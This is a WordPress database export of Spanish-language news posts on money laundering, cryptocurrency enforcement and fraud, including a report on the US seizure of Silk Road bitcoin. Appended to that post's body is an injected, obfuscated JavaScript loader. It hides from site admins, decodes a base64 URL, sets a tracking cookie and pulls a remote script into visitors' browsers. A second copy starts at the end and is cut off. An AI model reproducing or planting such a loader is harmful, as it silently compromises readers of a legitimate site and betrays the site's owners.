podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var 